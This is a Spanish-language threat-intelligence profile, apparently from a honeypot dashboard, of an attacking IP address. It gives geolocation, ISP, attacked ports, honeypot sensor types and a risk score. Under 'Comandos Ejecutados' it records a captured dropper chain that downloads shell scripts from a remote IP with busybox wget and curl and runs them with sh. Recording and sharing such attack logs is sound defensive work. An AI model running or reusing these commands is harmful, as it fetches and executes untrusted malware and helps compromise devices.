⚠TROYANOSYVIRUS
Amenaza Activa • ALTO

130.12.180.18

Primera Deteccion28/12/2025
Ultima Actividad30/12/2025
ISPRailnet LLC
🎯
110
Ataques Totales
🔌
9
Puertos
📡
4
Tipos Ataque
🦠
0
Malware

Geolocalizacion

Pais
🇺🇸 Estados Unidos
Ciudad
Desconocida
ASN
AS214943
ISP
Railnet LLC

Tipos de Ataque

tanner
adbhoney
dionaea
honeytrap

Puertos Atacados

8000345678081808137777555580888888

Malware Asociado

Sin malware asociado

Comandos Ejecutados

$cd /data/local/tmp/; busybox wget http://130.12.180.20:36695/w.sh; sh w.sh; curl http://130.12.180.20:36695/c.sh; sh c.sh; wget http://130.12.180.20:36695/wget.sh; sh wget.sh; curl http://130.12.180.20:36695/wget.sh; sh wget.sh; busybox wget http://130.12.180.20:36695/wget.sh; sh wget.sh; busybox curl http://130.12.180.20:36695/wget.sh; sh wget.sh9x

Evaluacion de Riesgo

65
/100
BajoMedioAltoCritico